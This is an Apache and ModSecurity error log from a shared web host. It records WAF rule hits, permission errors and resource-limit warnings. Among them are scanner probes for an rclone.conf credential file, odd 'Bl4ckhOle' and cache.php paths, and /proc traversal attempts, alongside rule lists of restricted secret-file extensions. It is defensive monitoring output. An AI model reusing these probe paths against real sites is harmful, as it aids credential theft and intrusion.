[Fri Jul 17 08:32:27.748935 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:28.081430 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-27-01_10_22.pdf"] [unique_id "almbRA7FYe46zHK_jL3MzwAAABk"]
[Fri Jul 17 08:32:28.081824 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-27-01_10_22.pdf"] [unique_id "almbRA7FYe46zHK_jL3MzwAAABk"]
[Fri Jul 17 08:32:28.082243 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-27-01_10_22.pdf"] [unique_id "almbRA7FYe46zHK_jL3MzwAAABk"]
[Fri Jul 17 08:32:28.798996 2026] [core:error] [pid 2014321:tid 2014321] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/biovec-128/ctor
[Fri Jul 17 08:32:30.256516 2026] [mime:warn] [pid 2015187:tid 2015187] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:31.129122 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:35718] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:32:31.242201 2026] [ssl:error] [pid 2014279:tid 2014279] (70014)End of file found: [client 66.85.158.91:35728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:32:31.500478 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:31.678410 2026] [security2:error] [pid 2015187:tid 2015187] [client 57.141.18.58:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/subsystem/devices/memory138/subsystem/devices/memory121/node0/memory76/node0/memory3/"] [unique_id "almbR5ht1IYIWQIv0_OHwAAAAAs"]
[Fri Jul 17 08:32:31.678462 2026] [security2:error] [pid 2015187:tid 2015187] [client 57.141.18.58:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/subsystem/devices/memory138/subsystem/devices/memory121/node0/memory76/node0/memory3/"] [unique_id "almbR5ht1IYIWQIv0_OHwAAAAAs"]
[Fri Jul 17 08:32:33.286006 2026] [security2:error] [pid 1993604:tid 1993604] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "ceylondigest.com"] [uri "/index.php"] [unique_id "almbR4ha5y5fYnQ1qRrwMQAAAAE"]
[Fri Jul 17 08:32:33.286038 2026] [security2:error] [pid 1993604:tid 1993604] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "ceylondigest.com"] [uri "/index.php"] [unique_id "almbR4ha5y5fYnQ1qRrwMQAAAAE"]
[Fri Jul 17 08:32:33.810278 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:34.505752 2026] [security2:error] [pid 2013797:tid 2013797] [client 62.60.130.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/leprosycampaignh-global": Permission denied [hostname "www.leprosycampaign.health.gov.lk"] [uri "/images/images/images/images/images/images/images/images/cache.php"] [unique_id "almbSlh1WDijTxd1xw5JegAAAAc"], referer: www.google.com
[Fri Jul 17 08:32:34.505791 2026] [security2:error] [pid 2013797:tid 2013797] [client 62.60.130.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/leprosycampaignh-ip": Permission denied [hostname "www.leprosycampaign.health.gov.lk"] [uri "/images/images/images/images/images/images/images/images/cache.php"] [unique_id "almbSlh1WDijTxd1xw5JegAAAAc"], referer: www.google.com
[Fri Jul 17 08:32:34.972230 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:43.694660 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:46.758802 2026] [security2:error] [pid 2014286:tid 2014286] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almbVh15lhZh2QtC5qEWjAAAAB8"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:32:46.758834 2026] [security2:error] [pid 2014286:tid 2014286] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almbVh15lhZh2QtC5qEWjAAAAB8"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:32:48.816798 2026] [mime:warn] [pid 2014308:tid 2014308] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:48.817308 2026] [core:crit] [pid 2014308:tid 2014308] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/fdinfo/' is executable
[Fri Jul 17 08:32:50.688757 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.122.16.212:0] ModSecurity: Rule 55dbd8a44e30 [id "933210"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "503"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "autoconfig.secondcoffeeinternational.org"] [uri "/"] [unique_id "almbWgdFk8dCrY-oJNkdmQAAACA"], referer: https://autoconfig.secondcoffeeinternational.org/
[Fri Jul 17 08:32:50.691192 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.122.16.212:0] ModSecurity: Rule 55dbd90914d8 [id "941140"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "165"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "autoconfig.secondcoffeeinternational.org"] [uri "/"] [unique_id "almbWgdFk8dCrY-oJNkdmQAAACA"], referer: https://autoconfig.secondcoffeeinternational.org/
[Fri Jul 17 08:32:50.692260 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.122.16.212:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "autoconfig.secondcoffeeinternational.org"] [uri "/"] [unique_id "almbWgdFk8dCrY-oJNkdmQAAACA"], referer: https://autoconfig.secondcoffeeinternational.org/
[Fri Jul 17 08:32:50.700853 2026] [security2:error] [pid 1993572:tid 1993572] [client 34.122.16.212:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almbWol9vhFBGA6D8l927wAAAAw"], referer: https://autoconfig.secondcoffeeinternational.org/
[Fri Jul 17 08:32:50.706053 2026] [security2:error] [pid 1993572:tid 1993572] [client 34.122.16.212:0] ModSecurity: Rule 55dbd8a44e30 [id "933210"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "503"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almbWol9vhFBGA6D8l927wAAAAw"], referer: https://autoconfig.secondcoffeeinternational.org/
[Fri Jul 17 08:32:50.708277 2026] [security2:error] [pid 1993572:tid 1993572] [client 34.122.16.212:0] ModSecurity: Rule 55dbd90914d8 [id "941140"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "165"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almbWol9vhFBGA6D8l927wAAAAw"], referer: https://autoconfig.secondcoffeeinternational.org/
[Fri Jul 17 08:32:50.708407 2026] [security2:error] [pid 1993572:tid 1993572] [client 34.122.16.212:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almbWol9vhFBGA6D8l927wAAAAw"], referer: https://autoconfig.secondcoffeeinternational.org/
[Fri Jul 17 08:32:53.716163 2026] [mime:warn] [pid 2014286:tid 2014286] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:54.161727 2026] [security2:error] [pid 2014308:tid 2014308] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-05-04_10_21.pdf"] [unique_id "almbXgdFk8dCrY-oJNkdmwAAACA"]
[Fri Jul 17 08:32:54.162122 2026] [security2:error] [pid 2014308:tid 2014308] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-05-04_10_21.pdf"] [unique_id "almbXgdFk8dCrY-oJNkdmwAAACA"]
[Fri Jul 17 08:32:54.162480 2026] [security2:error] [pid 2014308:tid 2014308] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-05-04_10_21.pdf"] [unique_id "almbXgdFk8dCrY-oJNkdmwAAACA"]
[Fri Jul 17 08:32:57.803790 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:59882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:32:58.838003 2026] [mime:warn] [pid 2014308:tid 2014308] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:00.559982 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:60010] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:01.276968 2026] [security2:error] [pid 1996894:tid 1996894] [client 57.141.18.49:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory40/node0/memory129/subsystem/devices/memory112/node0/memory59/power/"] [unique_id "almbZY4Wmn5zySdNNkAlcQAAABM"]
[Fri Jul 17 08:33:01.277113 2026] [security2:error] [pid 1996894:tid 1996894] [client 57.141.18.49:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory40/node0/memory129/subsystem/devices/memory112/node0/memory59/power/"] [unique_id "almbZY4Wmn5zySdNNkAlcQAAABM"]
[Fri Jul 17 08:33:01.996159 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:50684] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:02.598812 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:50714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:02.901600 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:50742] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:03.718993 2026] [mime:warn] [pid 2014286:tid 2014286] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:05.882498 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:50884] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:07.370962 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:50938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:08.618680 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:08.720345 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:11.860067 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.236.175:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "nsteeleng.com"] [uri "/z9x8c7v6b5-debug-trigger-nsteeleng.com"] [unique_id "almbb41dLClkUfK_dfHiOgAAAAI"]
[Fri Jul 17 08:33:11.860541 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.236.175:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nsteeleng.com"] [uri "/z9x8c7v6b5-debug-trigger-nsteeleng.com"] [unique_id "almbb41dLClkUfK_dfHiOgAAAAI"]
[Fri Jul 17 08:33:11.861914 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.236.175:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "nsteeleng.com"] [uri "/rclone.conf"] [unique_id "almbbwRRrtuZqNDDSqWtUAAAABo"]
[Fri Jul 17 08:33:11.862408 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.236.175:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nsteeleng.com"] [uri "/rclone.conf"] [unique_id "almbbwRRrtuZqNDDSqWtUAAAABo"]
[Fri Jul 17 08:33:11.928372 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:12.525396 2026] [mime:warn] [pid 2014308:tid 2014308] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:12.764015 2026] [hostinglimits:warn] [pid 2015187:tid 2015187] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(2015187) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:12.795435 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:59134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:13.105033 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:15.007060 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:59210] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:15.406232 2026] [hostinglimits:warn] [pid 2014308:tid 2014308] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(2014308) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:18.181980 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:18.185550 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:18.723970 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:19.273639 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2013/vol_40_no_49_english.pdf"] [unique_id "almbdw5GPQ6hs4VrfMo-bgAAAAY"]
[Fri Jul 17 08:33:19.273950 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2013/vol_40_no_49_english.pdf"] [unique_id "almbdw5GPQ6hs4VrfMo-bgAAAAY"]
[Fri Jul 17 08:33:19.274297 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2013/vol_40_no_49_english.pdf"] [unique_id "almbdw5GPQ6hs4VrfMo-bgAAAAY"]
[Fri Jul 17 08:33:20.334131 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:20.669207 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.236.175:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nsteeleng.com"] [uri "/index.php"] [unique_id "almbb41dLClkUfK_dfHiOgAAAAI"]
[Fri Jul 17 08:33:20.818813 2026] [mime:warn] [pid 2014308:tid 2014308] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:21.053905 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:21.602457 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:21.864509 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.236.175:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nsteeleng.com"] [uri "/index.php"] [unique_id "almbbwRRrtuZqNDDSqWtUAAAABo"]
